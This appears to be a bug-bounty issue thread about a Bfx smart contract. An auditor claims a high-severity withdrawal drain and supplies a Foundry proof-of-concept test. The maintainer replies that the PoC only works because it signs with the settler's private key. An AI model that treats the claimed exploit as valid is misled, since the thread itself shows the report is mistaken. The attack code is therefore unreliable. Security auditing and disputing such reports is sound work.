Open hats-bug-reporter[bot] opened 4 months ago
alex-sumner
commented
4 months ago This is not a bug. The withdrawal will only succeed if accompanied by a valid signature (see the verify function in EIP712Verifier.sol). Changing the deposit id invalidates the signature and the attacker has no way of obtaining a valid signature for the new data. Note that a valid signature can only be created by the external_signer set on the contract.
0xsnowbear
commented
4 months ago This is not a bug. The withdrawal will only succeed if accompanied by a valid signature (see the
verifyfunction in EIP712Verifier.sol). Changing the deposit id invalidates the signature and the attacker has no way of obtaining a valid signature for the new data. Note that a valid signature can only be created by theexternal_signerset on the contract.
Hi @alex-sumner,
To put everything into context let's look into your unit tests as to how you invalidate the signature by changing id. Here's your own unit test below.
BfxSigningTest::testRevertInvalidId()
function testRevertInvalidId(uint256 amount, uint256 id) public {
amount = bound(amount, 1, 1e18);
SigUtils.Withdrawal memory withdrawal = SigUtils.Withdrawal({
id: id,
trader: _claimant,
amount: amount
});
bytes32 digest = _sigUtils.getTypedDataHash(withdrawal);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(_settlerPrivateKey, digest);
uint256 invalidId;
if (id > 0) {
invalidId = id - 1;
} else {
invalidId = id + 1;
}
vm.expectRevert("INVALID_SIGNATURE");
_bfx.withdraw(
invalidId,
withdrawal.trader,
withdrawal.amount,
v,
r,
s
);
}As you can see, the id / invalidId is changed after the vm.sign. Of course it will revert. It will revert because values of v, r, s is the result of _settlerPrivateKey and digest. And digest is the result of values in withdrawal by which one of the input is the original id.
Now, in the exploit / poc I made, the scenario is that for every withdrawals, the trader (exploiter) signs and gives off new signature. Hence, the signature is always valid because the varying id is always included as part of the v, r, s. It is akin to manually (not programmatically) exploiting the contract.
Please look at the poc / exploit below.
function testAudit_WithdrawalAttack_1() public {
// SETUP: The token balance of `_bfx` is `1e18` as stated in the setup(), `_token.mint(address(_bfx), 1e18)`
// ** [STEP 1]: Using `id:1`, transaction is successful
SigUtils.Withdrawal memory withdrawal = SigUtils.Withdrawal({
id: 1, // @audit using a new id has no problem
trader: _claimant,
amount: 5e17
});
bytes32 digest = _sigUtils.getTypedDataHash(withdrawal);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(_settlerPrivateKey, digest);
_bfx.withdraw(
withdrawal.id,
withdrawal.trader,
withdrawal.amount,
v,
r,
s
);
assertEq(_token.balanceOf(withdrawal.trader), withdrawal.amount);
// ** [STEP 2]: Using `id:1` again, the transaction reverts with error message "ALREADY_PROCESSED"
withdrawal = SigUtils.Withdrawal({
id: 1, // @audit using an id repeatedly reverts the transaction
trader: _claimant,
amount: 5e17
});
digest = _sigUtils.getTypedDataHash(withdrawal);
(v, r, s) = vm.sign(_settlerPrivateKey, digest);
vm.expectRevert("ALREADY_PROCESSED");
_bfx.withdraw(
withdrawal.id,
withdrawal.trader,
withdrawal.amount,
v,
r,
s
);
// ** [STEP 3]: Using a new id, `id:2`, the trader DRAINS the remaining token in the _bfx contract!
withdrawal = SigUtils.Withdrawal({
id: 2, // @audit Now change this to a new number (not previously used), the trader can simply withdraw again
trader: _claimant,
amount: 5e17
});
digest = _sigUtils.getTypedDataHash(withdrawal);
(v, r, s) = vm.sign(_settlerPrivateKey, digest);
_bfx.withdraw(
withdrawal.id,
withdrawal.trader,
withdrawal.amount,
v,
r,
s
);
assertEq(_token.balanceOf(withdrawal.trader), 1e18); // @audit The trader drained all the tokens in contract bfx (1e18)!
assertEq(_token.balanceOf(address(_bfx)), 0); // @audit the _bfx contract balance is now zero!
}The major problem here is the validation of the trader transaction as to whether he is the rightful beneficiary of a withdrawal.
Whether that means validating the id, the trader, etc., it depends how you design the system.
alex-sumner
commented
4 months ago The trader cannot sign the withdrawal data themselves. That must be done by the external_signer set on the contract. Data signed by any other address will result in a reverted transaction with the error "INVALID_SIGNATURE".
The only way for a trader to obtain a valid signature is to request one from the exchange. They will be given one if their balance is sufficient and it will have an id allocated by the exchange. If they submit this signature for this amount it will be accepted. If they submit it again it will not be accepted a second time. If they change the amount or the id the signature will not be accepted.
Github username: @0xsnowbear Twitter username: 0xsnowbear Submission hash (on-chain): 0xf319e3e4513db3d5d37c88e3fa5b3986e6d8c7809d570da6b11965385a222afe Severity: high
Description: Description\ The function
Bfx::withdraw()allows the trader to withdraw repeatedly as long as theidis not equal to the previously used.Attack Scenario\ First, the trader withdraws an amount using
id:1. The transaction succeeds.Second, the trader attempts to withdraw an
amountusing the same id, which isid:1. The transaction reverts.Third, the trader attempts to withdraw an
amountusing a new id which isid:2. The transaction succeeds.Fourth, the trader discovers it then repeats the process by using
id:3, withdraws the remaining funds and now the Bfx contract is drained.Attachments
forge test --mt testAudit_WithdrawalAttack_1 -vvvvPoC
Proof of Concept (PoC) File
Revised Code File (Optional)
Files: